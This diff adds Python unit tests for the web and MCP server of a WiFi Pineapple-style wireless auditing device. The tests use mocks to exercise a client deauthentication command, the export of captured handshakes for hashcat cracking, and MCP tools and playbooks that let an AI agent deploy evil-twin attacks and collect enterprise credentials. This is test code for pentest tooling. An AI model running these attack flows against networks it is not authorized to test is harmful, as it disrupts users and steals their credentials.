|
||||
class AttacksDeauthTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.f = FakeUciDevice()
|
||||
self.f._verify = True
|
||||
server.device_run = self.f.device_run
|
||||
server.daemon_sock_call = self.f.daemon_sock_call
|
||||
server._uci_wifi_iface = self.f.uci_iface
|
||||
|
||||
def test_deauth_2g4_uses_wlan0mon_inject(self):
|
||||
status, payload = server.h_attacks_deauth(ctx({
|
||||
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
|
||||
'channel': 6}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['inject'], 'wlan0mon')
|
||||
calls = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls)
|
||||
self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
|
||||
'11:22:33:44:55:66', '6'], calls)
|
||||
|
||||
def test_deauth_5g_keeps_wlan1mon_inject(self):
|
||||
status, payload = server.h_attacks_deauth(ctx({
|
||||
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
|
||||
'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['inject'], 'wlan1mon')
|
||||
|
||||
def test_deauth_bad_macs_rejected(self):
|
||||
status, _ = server.h_attacks_deauth(ctx({
|
||||
'bssid': 'nope', 'client': '11:22:33:44:55:66', 'channel': 6}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
|
||||
class AttacksExportTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.f = FakeUciDevice()
|
||||
self.f._verify = True
|
||||
server.device_run = self.f.device_run
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.f.runs.append((list(args), input_data))
|
||||
a = list(args)
|
||||
if a[0] == 'ls':
|
||||
return (0, 'a.pcap\nb.cap\n', '')
|
||||
if a[0] == 'hcxpcapngtool':
|
||||
return (0, '', '')
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake_run
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {})
|
||||
self._real_exists = os.path.exists
|
||||
server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys')
|
||||
server.os.path.getsize = lambda p: 12
|
||||
|
||||
def tearDown(self):
|
||||
server.os.path.exists = self._real_exists
|
||||
try:
|
||||
os.unlink('/tmp/mk8test.hc22000')
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def test_export_converts_captures(self):
|
||||
status, payload = server.h_attacks_export_hc22000(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['size'], 12)
|
||||
self.assertIn('hashcat -m 22000', payload['hashcat'])
|
||||
hc = [r[0] for r in self.f.runs if r[0][0] == 'hcxpcapngtool'][0]
|
||||
self.assertEqual(hc[1], '-o')
|
||||
self.assertTrue(hc[2].startswith('/root/loot/hc22000/'))
|
||||
self.assertTrue(hc[2].endswith('.hc22000'))
|
||||
self.assertIn('/root/loot/handshakes/a.pcap', hc)
|
||||
self.assertIn('/root/loot/pcap/b.cap', hc)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,140 @@
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
class HealthCheckTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.runs = []
|
||||
self.ping_ok = True
|
||||
self.sigsegvs = 0
|
||||
self.iface_up = {'wlan0mon': True, 'wlan1mon': True}
|
||||
self.uci_state = {}
|
||||
server._health.update({
|
||||
'sigsegv_last': None, 'last_fix': 0.0, 'fixes': 0,
|
||||
'last_action': None, 'pineap_up': False, 'monitor_fixes': 0})
|
||||
self.old_iface_up = server._iface_up
|
||||
server._iface_up = lambda name: self.iface_up.get(name, True)
|
||||
|
||||
def fake_run(args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), timeout))
|
||||
a = list(args)
|
||||
if a[0] == 'pidof' and a[1] == 'pineapd':
|
||||
if self.ping_ok:
|
||||
return (0, '12345\n', '')
|
||||
return (1, '', '')
|
||||
if a[0] == 'logread':
|
||||
return (0, 'SIGSEGV\n' * self.sigsegs if hasattr(self, 'sigsegs') else '', '')
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.uci_state[k] = v
|
||||
if a[:2] == ['uci', 'delete']:
|
||||
for k in list(self.uci_state):
|
||||
if k == a[2] or k.startswith(a[2] + '.'):
|
||||
del self.uci_state[k]
|
||||
if a[:2] == ['uci', 'get']:
|
||||
return (0, self.uci_state.get(a[2], '') + '\n', '')
|
||||
if a[0] == 'uci' and a[1] == 'show':
|
||||
sec = a[2]
|
||||
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.uci_state.items()
|
||||
if k == sec or k.startswith(sec + '.')), '')
|
||||
return (0, '', '')
|
||||
|
||||
server.device_run = fake_run
|
||||
|
||||
def tearDown(self):
|
||||
server._iface_up = self.old_iface_up
|
||||
|
||||
def test_pineap_up_reports_no_action(self):
|
||||
result = server.health_check()
|
||||
self.assertTrue(result['pineap_up'])
|
||||
self.assertIsNone(result['last_action'])
|
||||
self.assertEqual([r[0] for r in self.runs], [['pidof', 'pineapd']],
|
||||
'health check must not write to the pineapd socket')
|
||||
|
||||
def test_pineap_up_repairs_dropped_monitors(self):
|
||||
self.iface_up = {'wlan0mon': False, 'wlan1mon': True}
|
||||
result = server.health_check()
|
||||
self.assertTrue(result['pineap_up'])
|
||||
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
|
||||
self.assertIn(['ip', 'link', 'set', 'wlan0mon', 'up'], [r[0] for r in self.runs])
|
||||
self.assertEqual(result['monitor_fixes'], 1)
|
||||
|
||||
def test_down_with_growing_sigsegv_disables_pool(self):
|
||||
self.ping_ok = False
|
||||
self.sigsegs = 5
|
||||
result = server.health_check()
|
||||
self.assertIn('pool broadcast disabled', result['last_action'])
|
||||
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
|
||||
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
|
||||
self.assertEqual(result['fixes'], 1)
|
||||
|
||||
def test_down_with_pool_already_disabled_restarts_pineapd(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
self.uci_state['pineapd.wlan2mon.disable'] = '1'
|
||||
self.uci_state['pineapd.wlan2mon.hop'] = '0'
|
||||
self.uci_state['pineapd.wlan1mon.bands'] = '5'
|
||||
self.uci_state['pineapd.wlan0mon.bands'] = '2'
|
||||
self.uci_state['pineapd.wlan1mon.hop'] = '0'
|
||||
result = server.health_check()
|
||||
self.assertEqual(result['last_action'], 'pineapd restart')
|
||||
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
|
||||
|
||||
def test_down_stabilizes_known_crash_sources(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
result = server.health_check()
|
||||
self.assertEqual(self.uci_state['pineapd.wlan2mon.disable'], '1')
|
||||
self.assertEqual(self.uci_state['pineapd.wlan1mon.bands'], '5')
|
||||
self.assertIn('stabilized', result['last_action'])
|
||||
|
||||
def test_down_clears_refilled_pool_list(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
|
||||
result = server.health_check()
|
||||
self.assertNotIn('pineapd.@ssidpool[0].ssid', self.uci_state)
|
||||
self.assertIn('pool-list cleared', result['last_action'])
|
||||
|
||||
def test_down_without_crash_brings_monitors_up(self):
|
||||
self.ping_ok = False
|
||||
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
|
||||
self.iface_up = {'wlan0mon': True, 'wlan1mon': False}
|
||||
result = server.health_check()
|
||||
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
|
||||
self.assertIn(['ip', 'link', 'set', 'wlan1mon', 'up'], [r[0] for r in self.runs])
|
||||
|
||||
def test_down_disables_pool_regardless_of_sigsegv_history(self):
|
||||
self.ping_ok = False
|
||||
server._health['sigsegv_last'] = 4
|
||||
result = server.health_check()
|
||||
self.assertIn('SSID pool broadcast disabled', result['last_action'])
|
||||
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
|
||||
|
||||
def test_fix_cooldown_prevents_thrash(self):
|
||||
self.ping_ok = False
|
||||
server._health['last_fix'] = server.time.time() - 30
|
||||
server.health_check()
|
||||
server.health_check()
|
||||
fixes = [r for r in self.runs if r[0][0] == '/etc/init.d/pineapd']
|
||||
self.assertEqual(len(fixes), 1, 'cooldown must allow only one restart')
|
||||
|
||||
def test_health_endpoint_shape(self):
|
||||
server._health['sigsegv_last'] = 7
|
||||
status, payload = server.h_health(type('C', (), {'query': {}})())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['sigsegv_count'], 7)
|
||||
self.assertIn('wlan1mon_up', payload)
|
||||
self.assertIn('pool_disabled', payload)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -0,0 +1,123 @@
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
def ctx(body=None, headers=None):
|
||||
H = type('H', (), {'headers': headers or {}})()
|
||||
return type('C', (), {'body': body, 'args': (), 'query': {}, 'h': H})()
|
||||
|
||||
|
||||
class McpDispatchTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.tmp = tempfile.mkdtemp(prefix='pager-mcp-')
|
||||
self.old_session = server.SESSION_FILE
|
||||
self.old_device_run = server.device_run
|
||||
self.old_daemon_sock_call = server.daemon_sock_call
|
||||
server.SESSION_FILE = os.path.join(self.tmp, 'session.json')
|
||||
with open(server.SESSION_FILE, 'w') as f:
|
||||
import json
|
||||
json.dump({'token': 't0k3n', 'serverid': 'x'}, f)
|
||||
server.device_run = lambda args, timeout=20, input_data=None: (0, '', '')
|
||||
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {
|
||||
'pineap_disabled': False, 'pineape_disabled': True,
|
||||
'autossidpool': True})
|
||||
|
||||
def tearDown(self):
|
||||
server.SESSION_FILE = self.old_session
|
||||
server.device_run = self.old_device_run
|
||||
server.daemon_sock_call = self.old_daemon_sock_call
|
||||
shutil.rmtree(self.tmp)
|
||||
|
||||
def msg(self, method, params=None, mid=1, jsonrpc='2.0'):
|
||||
m = {'jsonrpc': jsonrpc, 'id': mid, 'method': method}
|
||||
if params is not None:
|
||||
m['params'] = params
|
||||
return m
|
||||
|
||||
def test_initialize_negotiates_protocol(self):
|
||||
status, body = server._mcp_dispatch(self.msg('initialize', {'protocolVersion': '2025-06-18'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(body['result']['protocolVersion'], '2025-06-18')
|
||||
self.assertIn('tools', body['result']['capabilities'])
|
||||
self.assertEqual(body['result']['serverInfo']['name'], 'mark-viii')
|
||||
|
||||
def test_tools_list_has_attack_and_recon_tools(self):
|
||||
status, body = server._mcp_dispatch(self.msg('tools/list'))
|
||||
names = [t['name'] for t in body['result']['tools']]
|
||||
self.assertIn('attack.deploy', names)
|
||||
self.assertIn('device.state', names)
|
||||
self.assertIn('recon.isearch', names)
|
||||
self.assertIn('loot.enterprise_creds', names)
|
||||
|
||||
def test_tools_call_unknown_tool_errors(self):
|
||||
status, body = server._mcp_dispatch(self.msg('tools/call', {'name': 'nope', 'arguments': {}}))
|
||||
self.assertEqual(body['error']['code'], -32602)
|
||||
|
||||
def test_ping(self):
|
||||
status, body = server._mcp_dispatch(self.msg('ping'))
|
||||
self.assertEqual(body['result'], {})
|
||||
|
||||
def test_notifications_initialized_returns_202(self):
|
||||
status, body = server._mcp_dispatch({'jsonrpc': '2.0', 'method': 'notifications/initialized'})
|
||||
self.assertEqual(status, 202)
|
||||
self.assertIsNone(body)
|
||||
|
||||
def test_resources_list_includes_skills(self):
|
||||
status, body = server._mcp_dispatch(self.msg('resources/list'))
|
||||
uris = [r['uri'] for r in body['result']['resources']]
|
||||
self.assertIn('skills://pineapple-control', uris)
|
||||
self.assertIn('device://state', uris)
|
||||
|
||||
def test_prompts_list_includes_playbooks(self):
|
||||
status, body = server._mcp_dispatch(self.msg('prompts/list'))
|
||||
names = [p['name'] for p in body['result']['prompts']]
|
||||
self.assertIn('evil-wpa-attack', names)
|
||||
self.assertIn('evil-enterprise-attack', names)
|
||||
|
||||
def test_bad_jsonrpc_rejected(self):
|
||||
status, body = server._mcp_dispatch({'jsonrpc': '1.0', 'id': 1, 'method': 'ping'})
|
||||
self.assertEqual(body['error']['code'], -32600)
|
||||
|
||||
def test_endpoint_auth_accepts_bearer_token(self):
|
||||
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer t0k3n'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(body['result'], {})
|
||||
|
||||
def test_endpoint_auth_rejects_bad_token(self):
|
||||
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer wrong'}))
|
||||
self.assertEqual(status, 401)
|
||||
|
||||
def test_deploy_tool_wraps_attack_handler(self):
|
||||
server._uci_wifi_iface = lambda name: {}
|
||||
server._uci_section = lambda name: {}
|
||||
server._verify_iface = lambda name, timeout=20: True
|
||||
server._allow_all_ssids = lambda: True
|
||||
server._deploy_enterprise = lambda args: {'ok': True, 'verified': True,
|
||||
'iface': 'wlan1ent', 'band': '5'}
|
||||
status, body = server._mcp_dispatch(self.msg('tools/call', {
|
||||
'name': 'attack.deploy',
|
||||
'arguments': {'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2', 'channel': 36}}))
|
||||
self.assertEqual(status, 200)
|
||||
text = body['result']['content'][0]['text']
|
||||
self.assertIn('"verified": true', text)
|
||||
|
||||
def test_capabilities_endpoint(self):
|
||||
status, body = server.h_harness_capabilities(ctx())
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(body['endpoint'], '/mcp')
|
||||
self.assertIn('attack.deploy', [t['name'] for t in body['tools']])
|
||||
self.assertIn('skills://wifi-deauth', [r['uri'] for r in body['resources']])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -41,6 +41,26 @@ class PayloadsProxyTest(unittest.TestCase):
|
||||
server.h_payloads_remove(type('C', (), {'args': (), 'body': {'key': 'nautilus'}})())
|
||||
self.assertTrue(any(m == 'POST' and '/api/payloads/portal/nautilus/remove' in p for m, p in calls))
|
||||
|
||||
def test_install_surfaces_daemon_error_detail(self):
|
||||
server.daemon_call = lambda m, p, body=None, token=None, timeout=15: (
|
||||
500, {'error': 'network error: Get "https://downloads.hak5.org/.../download": dial tcp: lookup downloads.hak5.org on [::1]:53: server misbehaving'})
|
||||
server.current_token = lambda: 'tok'
|
||||
status, payload = server.h_payloads_install(type('C', (), {
|
||||
'args': (), 'body': {'key': 'recon~client~recon_reporter'}})())
|
||||
self.assertEqual(status, 500)
|
||||
self.assertIn('downloads.hak5.org', payload['detail'])
|
||||
|
||||
def test_install_unwraps_raw_json_daemon_error(self):
|
||||
server.daemon_call = lambda m, p, body=None, token=None, timeout=15: (
|
||||
500, '{"error":"network error: Get \\"https://downloads.hak5.org/...\\": dial tcp: lookup downloads.hak5.org on [::1]:53: server misbehaving"}\n')
|
||||
server.current_token = lambda: 'tok'
|
||||
status, payload = server.h_payloads_install(type('C', (), {
|
||||
'args': (), 'body': {'key': 'recon~client~recon_reporter'}})())
|
||||
self.assertEqual(status, 500)
|
||||
self.assertIn('network error', payload['detail'])
|
||||
self.assertIn('downloads.hak5.org', payload['detail'])
|
||||
self.assertNotIn('{', payload['detail'])
|
||||
|
||||
def test_installed_inventory_flattens_firmware_records(self):
|
||||
old = server._payload_daemon
|
||||
server._payload_daemon = lambda method, path, body=None: (200, [{
|
||||
@@ -275,5 +295,252 @@ class SettingsTest(unittest.TestCase):
|
||||
self.assertNotIn('password', payload)
|
||||
|
||||
|
||||
class WifiClientModeTest(unittest.TestCase):
|
||||
@staticmethod
|
||||
def fake_device_run(calls, responses):
|
||||
def run(args, timeout=20, input_data=None):
|
||||
calls.append((list(args), timeout))
|
||||
key = (args[0], args[1])
|
||||
return responses.get(key, (0, '', ''))
|
||||
return run
|
||||
|
||||
def test_client_state_parses_disabled(self):
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {
|
||||
('uci', 'show'): (0,
|
||||
"wireless.wlan0cli=wifi-iface\n"
|
||||
"wireless.wlan0cli.ssid='OldNet'\n"
|
||||
"wireless.wlan0cli.disabled='1'\n"
|
||||
"wireless.wlan0cli.routed='0'\n", ''),
|
||||
('iw', 'dev'): (0, '', ''),
|
||||
('ip', '-4'): (0, '', ''),
|
||||
})
|
||||
old = server.device_run
|
||||
server.device_run = run
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client(type('C', (), {})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 200)
|
||||
self.assertFalse(payload['enabled'])
|
||||
self.assertFalse(payload['connected'])
|
||||
self.assertEqual(payload['ssid'], 'OldNet')
|
||||
self.assertFalse(payload['routed'])
|
||||
self.assertEqual(payload['ip'], '')
|
||||
|
||||
def test_client_state_parses_connected(self):
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {
|
||||
('uci', 'show'): (0,
|
||||
"wireless.wlan0cli=wifi-iface\n"
|
||||
"wireless.wlan0cli.ssid='All RPH Guest WIFI'\n"
|
||||
"wireless.wlan0cli.disabled='0'\n"
|
||||
"wireless.wlan0cli.routed='0'\n", ''),
|
||||
('iw', 'dev'): (0,
|
||||
"Connected to 02:18:4a:a7:6a:d9 (on wlan0cli)\n"
|
||||
"\tSSID: All RPH Guest WIFI\n"
|
||||
"\tfreq: 2462\n"
|
||||
"\tsignal: -57 dBm\n", ''),
|
||||
('ip', '-4'): (0,
|
||||
"6: wlan0cli: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500\n"
|
||||
" inet 10.10.10.5/24 brd 10.10.10.255 scope global wlan0cli\n", ''),
|
||||
})
|
||||
old = server.device_run
|
||||
server.device_run = run
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client(type('C', (), {})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['enabled'])
|
||||
self.assertTrue(payload['connected'])
|
||||
self.assertEqual(payload['connected_ssid'], 'All RPH Guest WIFI')
|
||||
self.assertEqual(payload['ip'], '10.10.10.5')
|
||||
self.assertEqual(payload['signal'], -57)
|
||||
self.assertEqual(payload['freq'], 2462)
|
||||
|
||||
def test_scan_parses_networks_and_deduplicates(self):
|
||||
sample = (
|
||||
"BSS 02:18:4a:a7:6a:d2(on wlan0)\n"
|
||||
"\tfreq: 2462.0\n"
|
||||
"\tsignal: -63.00 dBm\n"
|
||||
"\tSSID: Riverwalk Plaza Staff\n"
|
||||
"\tRSN:\t * Version: 1\n"
|
||||
"\t\t * Group cipher: TKIP\n"
|
||||
"\t\t * Pairwise ciphers: CCMP TKIP\n"
|
||||
"\t\t * Authentication suites: PSK\n"
|
||||
"BSS 02:18:4a:a7:6a:d9(on wlan0)\n"
|
||||
"\tfreq: 2462.0\n"
|
||||
"\tsignal: -61.00 dBm\n"
|
||||
"\tSSID: All RPH Guest WIFI\n"
|
||||
"\tRSN:\t * Version: 1\n"
|
||||
"\t\t * Group cipher: CCMP\n"
|
||||
"\t\t * Pairwise ciphers: CCMP\n"
|
||||
"\t\t * Authentication suites: SAE\n"
|
||||
"BSS ea:cb:bc:8e:c5:0e(on wlan0)\n"
|
||||
"\tfreq: 2462.0\n"
|
||||
"\tsignal: -50.00 dBm\n"
|
||||
"\tSSID: OpenGuest\n"
|
||||
"BSS c6:cb:bc:8e:c5:0e(on wlan0)\n"
|
||||
"\tfreq: 2462.0\n"
|
||||
"\tsignal: -55.00 dBm\n"
|
||||
"\tSSID: \\x00\\x00\\x00\\x00\n"
|
||||
"BSS 42:18:4a:a7:6a:d2(on wlan0)\n"
|
||||
"\tfreq: 2462.0\n"
|
||||
"\tsignal: -65.00 dBm\n"
|
||||
"\tSSID: Riverwalk Plaza Staff\n"
|
||||
"\tWPA:\t * Version: 1\n"
|
||||
"\t\t * Group cipher: TKIP\n"
|
||||
"\t\t * Authentication suites: PSK\n")
|
||||
networks = server._parse_wifi_scan(sample)
|
||||
by_ssid = {n['ssid']: n for n in networks}
|
||||
self.assertIn('Riverwalk Plaza Staff', by_ssid)
|
||||
self.assertIn('All RPH Guest WIFI', by_ssid)
|
||||
self.assertIn('OpenGuest', by_ssid)
|
||||
self.assertEqual(by_ssid['Riverwalk Plaza Staff']['encryption'], 'WPA2')
|
||||
self.assertEqual(by_ssid['All RPH Guest WIFI']['encryption'], 'WPA3')
|
||||
self.assertEqual(by_ssid['OpenGuest']['encryption'], 'Open')
|
||||
self.assertEqual(by_ssid['OpenGuest']['channel'], 11)
|
||||
# hidden SSID entries are omitted
|
||||
self.assertNotIn('', by_ssid)
|
||||
# strongest BSS per SSID wins and results are signal-sorted (strongest first)
|
||||
self.assertEqual(networks[0]['ssid'], 'OpenGuest')
|
||||
self.assertEqual(networks[0]['signal'], -50)
|
||||
self.assertGreater(networks[0]['signal'], networks[1]['signal'])
|
||||
|
||||
def test_scan_reports_device_failure(self):
|
||||
old = server.device_run
|
||||
server.device_run = lambda args, timeout=20: (1, '', 'scan not supported')
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_scan(type('C', (), {})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 502)
|
||||
self.assertIn('scan', payload['error'])
|
||||
|
||||
def test_connect_requires_ssid(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
old = server.device_run
|
||||
server.device_run = lambda args, timeout=20: (0, '', '')
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_connect(
|
||||
type('C', (), {'h': H(), 'body': {'encryption': 'open'}})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('SSID', payload['error'])
|
||||
|
||||
def test_connect_rejects_short_password(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {})
|
||||
old = server.device_run
|
||||
server.device_run = run
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_connect(
|
||||
type('C', (), {'h': H(), 'body': {'ssid': 'X', 'encryption': 'wpa2', 'password': 'short'}})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 400)
|
||||
self.assertIn('password', payload['error'])
|
||||
self.assertEqual(calls, [])
|
||||
|
||||
def test_connect_writes_uci_and_reloads(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {})
|
||||
daemon_calls = []
|
||||
old_run = server.device_run
|
||||
old_sock = server.daemon_sock_call
|
||||
server.device_run = run
|
||||
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (
|
||||
daemon_calls.append((m, p, body)) or (200, {'success': True}))
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_connect(
|
||||
type('C', (), {'h': H(), 'body': {
|
||||
'ssid': 'All RPH Guest WIFI', 'encryption': 'wpa2wpa3',
|
||||
'password': 'Missions1', 'routed': True}})())
|
||||
finally:
|
||||
server.device_run = old_run
|
||||
server.daemon_sock_call = old_sock
|
||||
self.assertEqual(status, 200)
|
||||
sets = [args for args, _t in calls if args[:2] == ['uci', 'set']]
|
||||
expected = {
|
||||
'wireless.wlan0cli.ssid=All RPH Guest WIFI',
|
||||
'wireless.wlan0cli.encryption=sae-mixed',
|
||||
'wireless.wlan0cli.disabled=0',
|
||||
'wireless.wlan0cli.routed=1',
|
||||
'wireless.wlan0cli.key=Missions1',
|
||||
}
|
||||
got = {args[2] for args in sets}
|
||||
self.assertTrue(expected <= got)
|
||||
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
|
||||
self.assertIn((['wifi', 'reload'], 45), calls)
|
||||
self.assertEqual(daemon_calls,
|
||||
[('PUT', '/api/settings/wifi/set_client_route', {'routed': True})])
|
||||
|
||||
def test_connect_open_clears_key(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {})
|
||||
old_run = server.device_run
|
||||
old_sock = server.daemon_sock_call
|
||||
server.device_run = run
|
||||
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (200, {'success': True})
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_connect(
|
||||
type('C', (), {'h': H(), 'body': {'ssid': 'OpenGuest', 'encryption': 'open'}})())
|
||||
finally:
|
||||
server.device_run = old_run
|
||||
server.daemon_sock_call = old_sock
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn((['uci', 'delete', 'wireless.wlan0cli.key'], 20), calls)
|
||||
self.assertNotIn((['uci', 'set', 'wireless.wlan0cli.key='], 20), calls)
|
||||
|
||||
def test_route_toggle_writes_uci_and_syncs_daemon(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {})
|
||||
daemon_calls = []
|
||||
old_run = server.device_run
|
||||
old_sock = server.daemon_sock_call
|
||||
server.device_run = run
|
||||
server.daemon_sock_call = lambda m, p, body=None, timeout=10: (
|
||||
daemon_calls.append((m, p, body)) or (200, {'success': True}))
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_route(
|
||||
type('C', (), {'h': H(), 'body': {'routed': True}})())
|
||||
finally:
|
||||
server.device_run = old_run
|
||||
server.daemon_sock_call = old_sock
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn((['uci', 'set', 'wireless.wlan0cli.routed=1'], 20), calls)
|
||||
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
|
||||
self.assertEqual(daemon_calls,
|
||||
[('PUT', '/api/settings/wifi/set_client_route', {'routed': True})])
|
||||
|
||||
def test_disconnect_disables_and_reloads(self):
|
||||
class H:
|
||||
command = 'POST'
|
||||
calls = []
|
||||
run = self.fake_device_run(calls, {})
|
||||
old = server.device_run
|
||||
server.device_run = run
|
||||
try:
|
||||
status, payload = server.h_settings_wifi_client_disconnect(
|
||||
type('C', (), {'h': H(), 'body': {}})())
|
||||
finally:
|
||||
server.device_run = old
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn((['uci', 'set', 'wireless.wlan0cli.disabled=1'], 20), calls)
|
||||
self.assertIn((['uci', 'commit', 'wireless'], 20), calls)
|
||||
self.assertIn((['wifi', 'reload'], 45), calls)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
|
||||
@@ -0,0 +1,367 @@
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
class ChannelBandTest(unittest.TestCase):
|
||||
def test_2g_channels(self):
|
||||
for ch in (1, 6, 11, 14):
|
||||
self.assertEqual(server.channel_band(ch), server.BAND_2G)
|
||||
|
||||
def test_5g_channels(self):
|
||||
for ch in (36, 48, 100, 149, 165, 177):
|
||||
self.assertEqual(server.channel_band(ch), server.BAND_5G)
|
||||
|
||||
def test_6g_channels(self):
|
||||
for ch in (181, 189, 197, 205, 213, 225, 233):
|
||||
self.assertEqual(server.channel_band(ch), server.BAND_6G)
|
||||
|
||||
def test_invalid(self):
|
||||
for ch in (0, 15, 17, 21, 33, 35, 178, 234, None, 'x'):
|
||||
self.assertIsNone(server.channel_band(ch))
|
||||
|
||||
|
||||
class ChannelBandsConsistencyTest(unittest.TestCase):
|
||||
def test_lists_match_channel_band(self):
|
||||
for band, channels in server.CHANNEL_BANDS.items():
|
||||
for ch in channels:
|
||||
self.assertEqual(server.channel_band(ch), band, '%s should be %s' % (ch, band))
|
||||
|
||||
def test_no_out_of_list_channels(self):
|
||||
for ch in list(range(0, 235)):
|
||||
band = server.channel_band(ch)
|
||||
if band is not None:
|
||||
self.assertIn(ch, server.CHANNEL_BANDS[band], '%s should be listed for %s' % (ch, band))
|
||||
|
||||
def test_boundaries(self):
|
||||
self.assertEqual(server.CHANNEL_BANDS[server.BAND_2G][-1], 14)
|
||||
self.assertEqual(server.CHANNEL_BANDS[server.BAND_5G][-1], 177)
|
||||
self.assertEqual(server.CHANNEL_BANDS[server.BAND_6G][0], 181)
|
||||
self.assertEqual(server.CHANNEL_BANDS[server.BAND_6G][-1], 233)
|
||||
|
||||
|
||||
class ChannelFreqTest(unittest.TestCase):
|
||||
def test_freqs(self):
|
||||
self.assertEqual(server.channel_freq(server.BAND_2G, 1), 2412)
|
||||
self.assertEqual(server.channel_freq(server.BAND_2G, 11), 2462)
|
||||
self.assertEqual(server.channel_freq(server.BAND_5G, 36), 5180)
|
||||
